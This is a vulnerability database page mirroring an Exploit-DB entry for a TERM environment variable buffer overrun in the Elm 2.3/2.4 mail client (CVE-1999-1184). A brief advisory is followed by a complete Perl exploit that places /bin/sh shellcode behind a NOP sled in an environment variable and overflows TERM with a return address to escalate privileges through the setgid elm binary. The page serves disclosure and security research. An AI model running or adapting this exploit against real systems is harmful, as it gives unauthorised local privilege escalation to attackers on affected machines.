Lucene search
+L

Elm 2.3/2.4 - TERM Environment Variable Local Buffer Overrun

🗓️ 13 May 1997 00:00:00Reported by kokaninType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 35 Views

Buffer overrun in Elm allows privilege escalation via TERM environment variable exploit.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-1999-1184
12 Sep 200104:00
cve
cvelist
Cvelist
CVE-1999-1184
12 Sep 200104:00
cvelist
euvd
EUVD
EUVD-1999-1165
7 Oct 202500:30
euvd
nvd
NVD
CVE-1999-1184
13 May 199704:00
nvd
source: https://www.securityfocus.com/bid/8030/info

A buffer overrun has been discovered in Elm. The problem occurs due to insufficient bounds checking performed before copying user-supplied data into an internal memory buffer. Specifically, a TERM environment variable containing excessive data would cause a buffer within Elm to be overrun.

As Elm is installed setgid on some systems, the exploitation of this vulnerability could potentially allow for the elevation of local privileges.

# DSR-korean-elm.pl - kokaninATdtors.net vs. /usr/ports/korean/elm
# offset, retaddr and shellcode is for my FreeBSD 4.7-RELEASE, YMMV
# reinventing the wheel, http://www.insecure.org/sploits/elm.curses.overflow.html
# shellcode by zillionATsafemode.org
# ko-elm-2.4h4.1      ELM Mail User Agent, patched for Korean E-Mail
# elm is setgid 'bin'

$len = 512;
$ret = 0xbfbffd68;
$nop = "\x90";
$offset = 0;
$shellcode = 	"\x31\xc0\x50\x50\xb0\x17\xcd\x80\x31\xc0\x50\x68".
		"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50".
		"\x54\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

if (@ARGV == 1) {
    $offset = $ARGV[0];
}

for ($i = 0; $i < ($len - length($shellcode)); $i++) {
    $buffer .= $nop;
}
$buffer .= $shellcode;
$new_ret = pack('l', ($ret + $offset));
local($ENV{'EGG'}) = $buffer;
local($ENV{'TERM'}) = $new_ret x 12;
exec("elm");

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Nov 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.6
EPSS0.00596
35